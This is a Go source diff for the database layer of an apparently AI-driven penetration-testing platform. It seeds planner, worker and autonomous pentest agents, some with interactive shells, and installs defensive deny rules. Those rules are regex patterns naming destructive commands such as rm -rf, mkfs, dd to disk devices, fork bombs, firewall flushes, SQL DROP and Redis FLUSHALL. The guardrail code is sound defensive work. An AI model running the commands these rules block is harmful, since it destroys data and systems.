INSERT INTO conversation_activities(conversation_id, worker, kind, tool, tool_use_id, is_error, summary, detail, input_tokens, output_tokens, cache_read_tokens, cache_write_tokens)
|
||||
VALUES ($1,NULLIF($2,''),NULLIF($3,''),NULLIF($4,''),NULLIF($5,''),$6,NULLIF($7,''),NULLIF($8,''),$9,$10,$11,$12)
|
||||
RETURNING id`, convID, utf8Clean(a.Worker), utf8Clean(a.Kind), utf8Clean(a.Tool), utf8Clean(a.ToolUseID), a.IsError,
|
||||
utf8Clean(a.Summary), utf8Clean(a.Detail), a.InputTokens, a.OutputTokens, a.CacheReadTokens, a.CacheWriteTokens).Scan(&id)
|
||||
return id, err
|
||||
}
|
||||
|
||||
// ConvActivityList returns a conversation's steps after sinceID (exclusive) with
|
||||
// the summary-only column set (detail is lazy-loaded via ConvActivityDetail).
|
||||
func (d *DB) ConvActivityList(convID, sinceID int64, limit int) ([]Activity, int64, error) {
|
||||
if limit <= 0 {
|
||||
limit = 500
|
||||
}
|
||||
const cols = `id, COALESCE(worker,''), COALESCE(kind,''), COALESCE(tool,''), COALESCE(tool_use_id,''), is_error, COALESCE(summary,''), created_at, input_tokens, output_tokens, cache_read_tokens, cache_write_tokens`
|
||||
rows, err := d.Query(`SELECT `+cols+`
|
||||
FROM conversation_activities WHERE conversation_id=$1 AND id>$2 ORDER BY id LIMIT $3`, convID, sinceID, limit)
|
||||
if err != nil {
|
||||
return nil, sinceID, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := []Activity{}
|
||||
cursor := sinceID
|
||||
for rows.Next() {
|
||||
var a Activity
|
||||
if err := rows.Scan(&a.ID, &a.Worker, &a.Kind, &a.Tool, &a.ToolUseID, &a.IsError, &a.Summary, &a.CreatedAt,
|
||||
&a.InputTokens, &a.OutputTokens, &a.CacheReadTokens, &a.CacheWriteTokens); err != nil {
|
||||
return nil, sinceID, err
|
||||
}
|
||||
if a.ID > cursor {
|
||||
cursor = a.ID
|
||||
}
|
||||
out = append(out, a)
|
||||
}
|
||||
return out, cursor, rows.Err()
|
||||
}
|
||||
|
||||
// ConvActivityDetail lazily returns the full detail blob for one step.
|
||||
func (d *DB) ConvActivityDetail(convID, id int64) (string, error) {
|
||||
var s sql.NullString
|
||||
err := d.QueryRow(`SELECT detail FROM conversation_activities WHERE id=$1 AND conversation_id=$2`, id, convID).Scan(&s)
|
||||
if err == sql.ErrNoRows {
|
||||
return "", nil
|
||||
}
|
||||
return s.String, err
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// TestCustomToolCRUD exercises create/list/update/delete of a user-defined tool
|
||||
// (system=false) with kind/exec/deferred. Skips when no Postgres is configured.
|
||||
func TestCustomToolCRUD(t *testing.T) {
|
||||
d, err := Open(testDSN(t))
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v) — skipping", err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
key := "ct_test_tool"
|
||||
_ = d.DeleteCustomTool(key) // clean slate
|
||||
|
||||
in := &Tool{
|
||||
Key: key,
|
||||
Description: "test",
|
||||
Schema: json.RawMessage(`{"type":"object","properties":{"x":{"type":"string"}}}`),
|
||||
Agents: []string{"worker"},
|
||||
Enabled: true,
|
||||
Kind: "script",
|
||||
Exec: json.RawMessage(`{"code":"print(1)"}`),
|
||||
Deferred: true,
|
||||
}
|
||||
if err := d.CreateCustomTool(in); err != nil {
|
||||
t.Fatalf("create: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = d.DeleteCustomTool(key) })
|
||||
|
||||
got, err := d.GetTool(key)
|
||||
if err != nil || got == nil {
|
||||
t.Fatalf("get after create: %v (nil=%v)", err, got == nil)
|
||||
}
|
||||
if got.System || got.Kind != "script" || !got.Deferred || len(got.Agents) != 1 {
|
||||
t.Fatalf("unexpected row: %+v", got)
|
||||
}
|
||||
|
||||
// custom tools appear in ListCustomTools, not among system-only.
|
||||
customs, err := d.ListCustomTools()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
found := false
|
||||
for _, c := range customs {
|
||||
if c.Key == key {
|
||||
found = true
|
||||
if c.System {
|
||||
t.Fatal("custom tool should have system=false")
|
||||
}
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatal("created tool not in ListCustomTools")
|
||||
}
|
||||
|
||||
// update: change kind + disable + rebind.
|
||||
in.Kind = "command"
|
||||
in.Exec = json.RawMessage(`{"command":"echo hi"}`)
|
||||
in.Enabled = false
|
||||
in.Agents = []string{"worker", "planner"}
|
||||
in.Deferred = false
|
||||
if err := d.UpdateCustomTool(in); err != nil {
|
||||
t.Fatalf("update: %v", err)
|
||||
}
|
||||
got2, _ := d.GetTool(key)
|
||||
if got2.Kind != "command" || got2.Enabled || got2.Deferred || len(got2.Agents) != 2 {
|
||||
t.Fatalf("update not applied: %+v", got2)
|
||||
}
|
||||
|
||||
// delete only removes non-system rows.
|
||||
if err := d.DeleteCustomTool(key); err != nil {
|
||||
t.Fatalf("delete: %v", err)
|
||||
}
|
||||
if g, _ := d.GetTool(key); g != nil {
|
||||
t.Fatal("tool still present after delete")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,419 @@
|
||||
// Package db is the PostgreSQL data source for ARTEX (取代旧 graph 单文件 SQLite)。
|
||||
// 它打开连接、应用 schema、并 seed 内置 agent 与变量目录。
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
_ "embed"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
|
||||
"github.com/Autumn-27/artex/config"
|
||||
_ "github.com/jackc/pgx/v5/stdlib" // pgx database/sql driver ("pgx")
|
||||
)
|
||||
|
||||
//go:embed schema.sql
|
||||
var schemaSQL string
|
||||
|
||||
// DSN resolves the PostgreSQL connection string and reports where it came from.
|
||||
// Precedence: env ARTEX_PG_DSN > config file (config.json). There is no
|
||||
// built-in default — it errors if neither source is configured.
|
||||
func DSN() (dsn, source string, err error) {
|
||||
return config.PostgresDSN()
|
||||
}
|
||||
|
||||
// DB wraps the shared *sql.DB. PG handles its own connection pool + concurrency
|
||||
// (MVCC), so unlike the old SQLite store there is no process-wide write mutex.
|
||||
type DB struct{ *sql.DB }
|
||||
|
||||
// ensureDatabase connects to the postgres system database and creates the target
|
||||
// database if it does not exist. dsn must be a postgres:// URL.
|
||||
func ensureDatabase(dsn string) error {
|
||||
u, err := url.Parse(dsn)
|
||||
if err != nil {
|
||||
return nil // unparseable DSN — let the normal Open fail with a clear error
|
||||
}
|
||||
dbName := strings.TrimPrefix(u.Path, "/")
|
||||
if dbName == "" || dbName == "postgres" {
|
||||
return nil
|
||||
}
|
||||
// connect to the postgres maintenance database instead
|
||||
adminDSN := *u
|
||||
adminDSN.Path = "/postgres"
|
||||
admin, err := sql.Open("pgx", adminDSN.String())
|
||||
if err != nil {
|
||||
return nil // best-effort; let Open surface the real error
|
||||
}
|
||||
defer admin.Close()
|
||||
if err := admin.Ping(); err != nil {
|
||||
return nil
|
||||
}
|
||||
var exists bool
|
||||
_ = admin.QueryRow(`SELECT true FROM pg_database WHERE datname=$1`, dbName).Scan(&exists)
|
||||
if !exists {
|
||||
if _, err := admin.Exec(`CREATE DATABASE "` + dbName + `"`); err != nil {
|
||||
return fmt.Errorf("create database %q: %w", dbName, err)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Open connects, applies the schema (idempotent), and seeds builtin rows.
|
||||
func Open(dsn string) (*DB, error) {
|
||||
if err := ensureDatabase(dsn); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
sqlDB, err := sql.Open("pgx", dsn)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := sqlDB.Ping(); err != nil {
|
||||
sqlDB.Close()
|
||||
return nil, fmt.Errorf("ping postgres (%s): %w", config.Redact(dsn), err)
|
||||
}
|
||||
// Serialize schema migration + seeding across concurrent openers (e.g. parallel
|
||||
// test packages) using a session-level advisory lock. The lock is released
|
||||
// automatically when the connection is returned to the pool or closed.
|
||||
if _, err := sqlDB.Exec(`SELECT pg_advisory_lock(7337741001)`); err != nil {
|
||||
sqlDB.Close()
|
||||
return nil, fmt.Errorf("advisory lock: %w", err)
|
||||
}
|
||||
// pgx runs multi-statement Exec via the simple protocol when there are no args.
|
||||
if _, err := sqlDB.Exec(schemaSQL); err != nil {
|
||||
sqlDB.Exec(`SELECT pg_advisory_unlock(7337741001)`) //nolint:errcheck
|
||||
sqlDB.Close()
|
||||
return nil, fmt.Errorf("apply schema: %w", err)
|
||||
}
|
||||
d := &DB{sqlDB}
|
||||
if err := d.seedBuiltins(); err != nil {
|
||||
sqlDB.Exec(`SELECT pg_advisory_unlock(7337741001)`) //nolint:errcheck
|
||||
sqlDB.Close()
|
||||
return nil, fmt.Errorf("seed builtins: %w", err)
|
||||
}
|
||||
if _, err := sqlDB.Exec(`SELECT pg_advisory_unlock(7337741001)`); err != nil {
|
||||
sqlDB.Close()
|
||||
return nil, fmt.Errorf("advisory unlock: %w", err)
|
||||
}
|
||||
return d, nil
|
||||
}
|
||||
|
||||
// builtinAgent describes one of the fixed agents and its prompt-variable catalog.
|
||||
type builtinAgent struct {
|
||||
key, name, role, desc string
|
||||
vars []promptVar
|
||||
interactiveShell bool // 建行时的默认交互式 shell 开关；ON CONFLICT 不覆盖用户后续手动开关
|
||||
runSeconds *int // 建行时的单次 run 墙钟上限(秒)；nil=用表默认(600)，0=不限时
|
||||
}
|
||||
|
||||
type promptVar struct{ name, desc, example, source string }
|
||||
|
||||
// intp 返回 v 的指针，用于给 builtinAgent 可选字段(如 runSeconds)显式取值。
|
||||
func intp(v int) *int { return &v }
|
||||
|
||||
// builtinAgents mirrors docs §5(a). 内置工具不入库；这里只 seed agent + 变量目录。
|
||||
// 注：planner/worker/mainagent/auto 的交互式 shell 默认由下方 interactive_shell_default_v1
|
||||
// 块统一置 true（尊重后续 toggle）；这里的 interactiveShell 只给需要「建行即默认开」的新 agent。
|
||||
var builtinAgents = []builtinAgent{
|
||||
{"goals", "目标拆解", "goals", "把渗透任务目标拆解成若干独立、可验证的子目标。", []promptVar{
|
||||
{"EngagementDescription", "任务描述（测试对象/背景）", "测试 example.com 站点", "exploration"},
|
||||
{"Now", "服务端当前时间(RFC3339)", "2026-06-25T00:00:00Z", "runtime"},
|
||||
}, false, nil},
|
||||
{"planner", "规划", "planner", "读取态势、判定目标，只在确有未覆盖的新方向时补充探索意图（每任务一个规划循环）。", []promptVar{
|
||||
{"Goal", "任务总目标", "拿下 example.com 的管理员权限", "exploration"},
|
||||
{"AssetSummary", "资产计数/类型分布摘要(可选)", "domain:3 ip:5 site:2", "distilled"},
|
||||
}, false, nil},
|
||||
{"mainagent", "主", "main", "人机接口：观察进展，把人的意图落成 hint 或高优先级意图。", []promptVar{
|
||||
{"Goal", "当前任务目标", "拿下 example.com 的管理员权限", "exploration"},
|
||||
{"AssetSummary", "开局态势摘要(可选)", "domain:3 ip:5", "distilled"},
|
||||
{"FindingsSummary", "已确认漏洞摘要(可选)", "high:1 medium:2", "distilled"},
|
||||
}, false, nil},
|
||||
{"worker", "执行", "worker", "领取一条意图执行，把发现的事实/漏洞写回知识图谱后停止。", []promptVar{
|
||||
{"ProxyAddr", "记录代理地址(驱动 if 双文案)", "127.0.0.1:8080", "runtime"},
|
||||
{"WorkerName", "worker 自我标识(可选)", "worker-1", "runtime"},
|
||||
}, false, nil},
|
||||
// Auto:内置「平台操作」agent。不参与渗透编排循环,经对话页驱动,用工具操作平台。
|
||||
{"auto", "Auto", "assistant", "平台操作助手：用工具管理任务(建/看/暂停/给提示)与资产，并可创建/修改 skill、自定义工具、MCP。", nil, false, nil},
|
||||
// 渗透测试:内置「独立渗透」agent。经对话页驱动,一人从侦察到收尾走完整条渗透链,自己规划自己执行自己验证。默认开启交互式 shell。
|
||||
{"pentest", "渗透测试", "assistant", "独立渗透 agent：一人从侦察→找攻击面→深入利用→验证→收尾走完整条链，自己规划、自己执行、自己对抗式验证。", nil, true, intp(0)},
|
||||
}
|
||||
|
||||
// seedBuiltins inserts the fixed built-in agents and their variable catalog (idempotent).
|
||||
func (d *DB) seedBuiltins() error {
|
||||
for _, a := range builtinAgents {
|
||||
var agentID int64
|
||||
err := d.QueryRow(`
|
||||
INSERT INTO agents(key, name, description, role, builtin, enabled, interactive_shell, run_seconds)
|
||||
VALUES ($1, $2, NULLIF($3,''), $4, true, true, $5, COALESCE($6, 600))
|
||||
ON CONFLICT (key) DO UPDATE SET name = EXCLUDED.name, description = EXCLUDED.description
|
||||
RETURNING id`, a.key, a.name, a.desc, a.role, a.interactiveShell, a.runSeconds).Scan(&agentID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("agent %s: %w", a.key, err)
|
||||
}
|
||||
for _, v := range a.vars {
|
||||
if _, err := d.Exec(`
|
||||
INSERT INTO agent_prompt_vars(agent_id, var_name, description, example, source)
|
||||
VALUES ($1, $2, $3, $4, $5)
|
||||
ON CONFLICT (agent_id, var_name) DO UPDATE
|
||||
SET description = EXCLUDED.description, example = EXCLUDED.example, source = EXCLUDED.source`,
|
||||
agentID, v.name, v.desc, v.example, v.source); err != nil {
|
||||
return fmt.Errorf("agent %s var %s: %w", a.key, v.name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
// Drop catalog entries for variables that were renamed, so the white-list no
|
||||
// longer advertises a name templates can't resolve (EngagementTitle→Description).
|
||||
if _, err := d.Exec(`DELETE FROM agent_prompt_vars WHERE var_name IN ('EngagementTitle', 'CoverageGaps')`); err != nil {
|
||||
return fmt.Errorf("cleanup renamed vars: %w", err)
|
||||
}
|
||||
// Default-on interactive_shell for the runtime agents (planner/worker/mainagent/auto)
|
||||
// ONCE — respects a later user toggle-off (guarded by a settings flag). goals(one-shot
|
||||
// decomposer) stays off. Runs after the column exists (schema applied before seed).
|
||||
if v, _, _ := d.GetSetting("interactive_shell_default_v1"); v != "true" {
|
||||
if _, err := d.Exec(`UPDATE agents SET interactive_shell=true WHERE key IN ('planner','worker','mainagent','auto')`); err != nil {
|
||||
return fmt.Errorf("seed interactive_shell defaults: %w", err)
|
||||
}
|
||||
_ = d.SetSetting("interactive_shell_default_v1", "true")
|
||||
}
|
||||
// Seed the built-in browser (Playwright) MCP once — DISABLED by default (用户
|
||||
// 需要时自行启用), no proxy by default. The traffic-capture toggle injects/strips
|
||||
// the recording proxy + CA at runtime (server.Manager.syncBrowserMCPProxy).
|
||||
// Insert only if absent so we never clobber user edits (args/env/enabled/
|
||||
// visibility) on restart.
|
||||
if _, err := d.Exec(`
|
||||
INSERT INTO mcp_servers(name, transport, command, args, env, enabled)
|
||||
VALUES ('browser', 'stdio', 'npx', $1, '{}', false)
|
||||
ON CONFLICT (name) DO NOTHING`,
|
||||
`["-y","@playwright/mcp@latest","--headless"]`); err != nil {
|
||||
return fmt.Errorf("seed browser mcp: %w", err)
|
||||
}
|
||||
// NOTE: the placeholder ScopeSentry data-source MCP (empty URL + empty X-API-Key,
|
||||
// disabled) is seeded directly in schema.sql §F so a raw `psql < schema.sql` init
|
||||
// also gets it. schema.sql is Exec'd on every startup, so it stays idempotent.
|
||||
if err := d.seedBuiltinSkillVisibility(); err != nil {
|
||||
return fmt.Errorf("seed skill visibility: %w", err)
|
||||
}
|
||||
if err := d.seedDefaultInterceptRules(); err != nil {
|
||||
return fmt.Errorf("seed intercept rules: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// builtinSkillVisibility maps a shipped skill's directory name → the built-in
|
||||
// agent keys that should see it by default. The skill FILES themselves live on the
|
||||
// filesystem (SkillDir, loaded by norma at runtime); DB only carries this visibility
|
||||
// binding. Skills omitted here (e.g. playwright-cli, scopesentry) ship invisible by
|
||||
// default — the user turns them on per-agent when needed. scopesentry additionally
|
||||
// declares `mcps: ScopeSentry`, which only takes effect once it's made visible and
|
||||
// that MCP is enabled/configured.
|
||||
var builtinSkillVisibility = map[string][]string{
|
||||
"api-recon": {"auto", "pentest", "worker"},
|
||||
}
|
||||
|
||||
// seedBuiltinSkillVisibility binds the shipped built-in skills to their default
|
||||
// agents. Insert-if-absent (ON CONFLICT DO NOTHING) so a user's later toggle-off is
|
||||
// never resurrected on restart — matches the browser-MCP / intercept-rule seed policy.
|
||||
func (d *DB) seedBuiltinSkillVisibility() error {
|
||||
for skillName, agentKeys := range builtinSkillVisibility {
|
||||
for _, key := range agentKeys {
|
||||
if _, err := d.Exec(`
|
||||
INSERT INTO agent_skill_visibility(agent_id, skill_name, enabled)
|
||||
SELECT id, $2, true FROM agents WHERE key=$1
|
||||
ON CONFLICT (agent_id, skill_name) DO NOTHING`, key, skillName); err != nil {
|
||||
return fmt.Errorf("skill %s → agent %s: %w", skillName, key, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// seedDefaultInterceptRules inserts built-in safety intercept rules once on
|
||||
// first startup. The seed is gated by a settings flag so user edits (disable,
|
||||
// delete, re-order) are never overwritten on subsequent restarts.
|
||||
func (d *DB) seedDefaultInterceptRules() error {
|
||||
if v, _, _ := d.GetSetting("intercept_default_rules_v1"); v == "done" {
|
||||
return nil
|
||||
}
|
||||
type rule struct {
|
||||
name string
|
||||
target string // tool_name | tool_input
|
||||
typ string // string | regex
|
||||
pattern string
|
||||
action string
|
||||
message string
|
||||
priority int
|
||||
}
|
||||
rules := []rule{
|
||||
// ── 系统破坏性命令 (priority 100) ──────────────────────────────────
|
||||
{
|
||||
name: "[内置] 递归强制删除 rm -rf",
|
||||
target: "tool_input",
|
||||
typ: "regex",
|
||||
pattern: `(?i)\brm\b.{0,80}(?:-[a-z]*r[a-z]*f[a-z]*|-[a-z]*f[a-z]*r[a-z]*|--recursive|--no-preserve-root)`,
|
||||
action: "deny",
|
||||
message: "禁止执行递归强制删除（rm -rf / rm --recursive），可能永久损坏系统或靶机环境",
|
||||
priority: 100,
|
||||
},
|
||||
{
|
||||
name: "[内置] 删除系统关键目录",
|
||||
target: "tool_input",
|
||||
typ: "regex",
|
||||
pattern: `\brm\b[^"'\n]{0,60}["'\s](/|/etc|/bin|/usr|/boot|/var|/lib|/sys|/proc|/dev|/sbin|/root)`,
|
||||
action: "deny",
|
||||
message: "禁止删除系统关键路径",
|
||||
priority: 100,
|
||||
},
|
||||
{
|
||||
name: "[内置] 磁盘格式化 mkfs",
|
||||
target: "tool_input",
|
||||
typ: "regex",
|
||||
pattern: `\bmkfs\b`,
|
||||
action: "deny",
|
||||
message: "禁止格式化磁盘（mkfs）",
|
||||
priority: 100,
|
||||
},
|
||||
{
|
||||
name: "[内置] 覆写磁盘设备 dd",
|
||||
target: "tool_input",
|
||||
typ: "regex",
|
||||
pattern: `\bdd\b[^|\n]{0,100}\bof=\s*/dev/[a-zA-Z]`,
|
||||
action: "deny",
|
||||
message: "禁止使用 dd 覆写磁盘设备",
|
||||
priority: 100,
|
||||
},
|
||||
{
|
||||
name: "[内置] Fork 炸弹",
|
||||
target: "tool_input",
|
||||
typ: "regex",
|
||||
pattern: `:\(\)\s*\{[^}]*:\|:`,
|
||||
action: "deny",
|
||||
message: "禁止执行 Fork 炸弹",
|
||||
priority: 100,
|
||||
},
|
||||
{
|
||||
name: "[内置] 关机 / 重启",
|
||||
target: "tool_input",
|
||||
typ: "regex",
|
||||
pattern: `\b(?:shutdown|reboot|halt|poweroff|init\s+[06])\b`,
|
||||
action: "deny",
|
||||
message: "禁止执行关机或重启命令",
|
||||
priority: 100,
|
||||
},
|
||||
{
|
||||
name: "[内置] 杀死全部进程",
|
||||
target: "tool_input",
|
||||
typ: "regex",
|
||||
pattern: `\bkill\s+-9\s+-1\b|\bkillall\s+-9\b`,
|
||||
action: "deny",
|
||||
message: "禁止 kill -9 -1 或 killall -9（杀死所有进程）",
|
||||
priority: 100,
|
||||
},
|
||||
{
|
||||
name: "[内置] 磁盘擦除 shred / wipe",
|
||||
target: "tool_input",
|
||||
typ: "regex",
|
||||
pattern: `\b(?:shred|wipe)\b[^|\n]{0,80}/dev/[a-zA-Z]`,
|
||||
action: "deny",
|
||||
message: "禁止对磁盘设备执行 shred/wipe 擦除",
|
||||
priority: 100,
|
||||
},
|
||||
{
|
||||
name: "[内置] 清空防火墙规则",
|
||||
target: "tool_input",
|
||||
typ: "regex",
|
||||
pattern: `\biptables\s+(?:-F|--flush)\b|\bnft\s+flush\s+ruleset\b`,
|
||||
action: "deny",
|
||||
message: "禁止清空防火墙规则（iptables -F / nft flush）",
|
||||
priority: 100,
|
||||
},
|
||||
// ── 数据库破坏性操作 (priority 90) ─────────────────────────────────
|
||||
{
|
||||
name: "[内置] SQL DROP DATABASE / TABLE / SCHEMA",
|
||||
target: "tool_input",
|
||||
typ: "regex",
|
||||
pattern: `(?i)\bDROP\s+(?:DATABASE|TABLE|SCHEMA|INDEX|VIEW|TABLESPACE|USER|ROLE)\b`,
|
||||
action: "deny",
|
||||
message: "禁止执行 DROP 操作，可能不可逆地销毁数据库对象",
|
||||
priority: 90,
|
||||
},
|
||||
{
|
||||
name: "[内置] SQL TRUNCATE",
|
||||
target: "tool_input",
|
||||
typ: "regex",
|
||||
pattern: `(?i)\bTRUNCATE\s+(?:TABLE\s+)?\w`,
|
||||
action: "deny",
|
||||
message: "禁止执行 TRUNCATE，可能清空数据表所有数据",
|
||||
priority: 90,
|
||||
},
|
||||
{
|
||||
name: "[内置] MongoDB drop / dropDatabase",
|
||||
target: "tool_input",
|
||||
typ: "regex",
|
||||
pattern: `(?i)\.(?:dropDatabase|dropCollection|drop)\s*\(`,
|
||||
action: "deny",
|
||||
message: "禁止执行 MongoDB drop 操作",
|
||||
priority: 90,
|
||||
},
|
||||
{
|
||||
name: "[内置] Redis FLUSHALL / FLUSHDB",
|
||||
target: "tool_input",
|
||||
typ: "regex",
|
||||
pattern: `(?i)\b(?:FLUSHALL|FLUSHDB)\b`,
|
||||
action: "deny",
|
||||
message: "禁止执行 Redis FLUSHALL / FLUSHDB，可能清空全部缓存数据",
|
||||
priority: 90,
|
||||
},
|
||||
// ── HTTP 破坏性请求 (priority 80) ──────────────────────────────────
|
||||
// Agent 发送 DELETE 请求的三种常见方式：
|
||||
// 1. curl -X DELETE / --request DELETE（Bash 工具直接执行或写入脚本）
|
||||
// 2. Python HTTP 客户端 .delete() 方法
|
||||
// 3. JS/通用脚本里的 method: 'DELETE' / method="DELETE"
|
||||
{
|
||||
name: "[内置] curl / wget 发送 DELETE 请求",
|
||||
target: "tool_input",
|
||||
typ: "regex",
|
||||
pattern: `(?i)\bcurl\b[^|\n&;"]{0,300}(?:-X\s*DELETE|--request\s+DELETE|-XDELETE)|\bwget\b[^|\n&;"]{0,300}--method[=\s]+DELETE`,
|
||||
action: "deny",
|
||||
message: "禁止通过 curl/wget 发送 HTTP DELETE 请求，可能删除目标系统数据",
|
||||
priority: 80,
|
||||
},
|
||||
{
|
||||
name: "[内置] Python HTTP 客户端 DELETE（requests/httpx/aiohttp）",
|
||||
target: "tool_input",
|
||||
typ: "regex",
|
||||
pattern: `(?i)\b(?:requests|httpx|aiohttp|urllib\.request)\.delete\s*\(|session\.delete\s*\(|client\.delete\s*\(`,
|
||||
action: "deny",
|
||||
message: "禁止使用 Python HTTP 客户端发送 DELETE 请求",
|
||||
priority: 80,
|
||||
},
|
||||
{
|
||||
name: "[内置] 脚本中声明 HTTP DELETE 方法（JS/通用）",
|
||||
target: "tool_input",
|
||||
typ: "regex",
|
||||
pattern: `(?i)axios\.delete\s*\(|method\s*[:=]\s*['"]DELETE['"]`,
|
||||
action: "deny",
|
||||
message: "禁止在脚本中声明并发送 HTTP DELETE 请求",
|
||||
priority: 80,
|
||||
},
|
||||
{
|
||||
name: "[内置] 批量清空 / 清除接口路径",
|
||||
target: "tool_input",
|
||||
typ: "regex",
|
||||
pattern: `(?i)/(?:clear|wipe|flush|purge|truncate|drop|destroy|factory[-_]reset|reset[-_]all)(?:[/?#"'\s]|$)`,
|
||||
action: "deny",
|
||||
message: "禁止调用批量清空或销毁类接口（/clear /wipe /flush /purge 等）",
|
||||
priority: 80,
|
||||
},
|
||||
}
|
||||
for _, r := range rules {
|
||||
if _, err := d.Exec(`
|
||||
INSERT INTO intercept_rules(name, enabled, priority, match_target, match_type, pattern, action, message, timeout_enabled, timeout_seconds, timeout_action)
|
||||
VALUES ($1, true, $2, $3, $4, $5, $6, $7, false, 60, 'deny')
|
||||
ON CONFLICT DO NOTHING`,
|
||||
r.name, r.priority, r.target, r.typ, r.pattern, r.action, r.message,
|
||||
); err != nil {
|
||||
return fmt.Errorf("rule %q: %w", r.name, err)
|
||||
}
|
||||
}
|
||||
return d.SetSetting("intercept_default_rules_v1", "done")
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
// testDSN returns the configured DSN, skipping the test when neither the env var
|
||||
// nor a config file supplies one (DSN no longer has a built-in default).
|
||||
func testDSN(t *testing.T) string {
|
||||
t.Helper()
|
||||
dsn, _, err := DSN()
|
||||
if err != nil {
|
||||
t.Skipf("no database config (%v) — skipping", err)
|
||||
}
|
||||
return dsn
|
||||
}
|
||||
|
||||
// TestOpenSeed opens the live dev PG, applies schema, seeds, and verifies the
|
||||
// builtin agents + their variable catalog exist. Skips if PG is unreachable.
|
||||
func TestOpenSeed(t *testing.T) {
|
||||
d, err := Open(testDSN(t))
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v) — skipping", err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
wantAgents := len(builtinAgents)
|
||||
var agents int
|
||||
if err := d.QueryRow(`SELECT count(*) FROM agents WHERE builtin`).Scan(&agents); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if agents != wantAgents {
|
||||
t.Fatalf("want %d builtin agents, got %d", wantAgents, agents)
|
||||
}
|
||||
|
||||
// planner should have at least its seeded catalog vars
|
||||
wantPlannerVars := 0
|
||||
for _, a := range builtinAgents {
|
||||
if a.key == "planner" {
|
||||
wantPlannerVars = len(a.vars)
|
||||
break
|
||||
}
|
||||
}
|
||||
var plannerVars int
|
||||
if err := d.QueryRow(`
|
||||
SELECT count(*) FROM agent_prompt_vars v
|
||||
JOIN agents a ON a.id = v.agent_id
|
||||
WHERE a.key = 'planner'`).Scan(&plannerVars); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plannerVars < wantPlannerVars {
|
||||
t.Fatalf("want at least %d planner vars, got %d", wantPlannerVars, plannerVars)
|
||||
}
|
||||
|
||||
// re-open must be idempotent (no duplicate agents)
|
||||
d2, err := Open(testDSN(t))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d2.Close()
|
||||
if err := d2.QueryRow(`SELECT count(*) FROM agents WHERE builtin`).Scan(&agents); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if agents != wantAgents {
|
||||
t.Fatalf("after re-open want %d agents, got %d", wantAgents, agents)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,654 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// utf8Clean makes a string safe for a PostgreSQL text column. It (1) replaces
|
||||
// invalid UTF-8 byte sequences with U+FFFD and (2) strips NUL (0x00) bytes.
|
||||
// Tool output (nmap/curl/… stdout) can carry raw/truncated bytes that PostgreSQL's
|
||||
// UTF8 encoding rejects ("invalid byte sequence for encoding UTF8"); without this
|
||||
// the INSERT fails and the activity record is silently lost. NUL is *valid* UTF-8
|
||||
// (U+0000) so ToValidUTF8 leaves it in place, yet PostgreSQL text still rejects it
|
||||
// (SQLSTATE 22021) — so it must be removed separately. JSONB payloads are fine
|
||||
// (json.Marshal already sanitizes), so only the plain text columns need it.
|
||||
func utf8Clean(s string) string {
|
||||
if strings.IndexByte(s, 0) >= 0 {
|
||||
s = strings.ReplaceAll(s, "\x00", "")
|
||||
}
|
||||
return strings.ToValidUTF8(s, "�")
|
||||
}
|
||||
|
||||
// Node is a typed reasoning node (= old task_nodes). kind ∈ goal|intent|finding|hint.
|
||||
type Node struct {
|
||||
ID int64 `json:"id"`
|
||||
Kind string `json:"kind"`
|
||||
Payload json.RawMessage `json:"payload"`
|
||||
Priority int `json:"priority"`
|
||||
State string `json:"state"`
|
||||
Origin string `json:"origin,omitempty"`
|
||||
Owner string `json:"owner,omitempty"`
|
||||
Anchors []int64 `json:"anchors,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
|
||||
// Activity is one worker execution step (= old task_activity).
|
||||
type Activity struct {
|
||||
ID int64 `json:"id"`
|
||||
NodeID *int64 `json:"node_id,omitempty"`
|
||||
Worker string `json:"worker,omitempty"`
|
||||
Kind string `json:"kind,omitempty"`
|
||||
Tool string `json:"tool,omitempty"`
|
||||
ToolUseID string `json:"tool_use_id,omitempty"`
|
||||
IsError bool `json:"is_error"`
|
||||
Summary string `json:"summary,omitempty"`
|
||||
Detail string `json:"-"` // full blob; lazy-loaded, omitted from list payloads
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
// Token usage — set only on the terminal kind='result' record; nil elsewhere.
|
||||
InputTokens *int `json:"input_tokens,omitempty"`
|
||||
OutputTokens *int `json:"output_tokens,omitempty"`
|
||||
CacheReadTokens *int `json:"cache_read_tokens,omitempty"`
|
||||
CacheWriteTokens *int `json:"cache_write_tokens,omitempty"`
|
||||
}
|
||||
|
||||
// TokenUsage is a per-worker token aggregate (TokenStatsByWorker).
|
||||
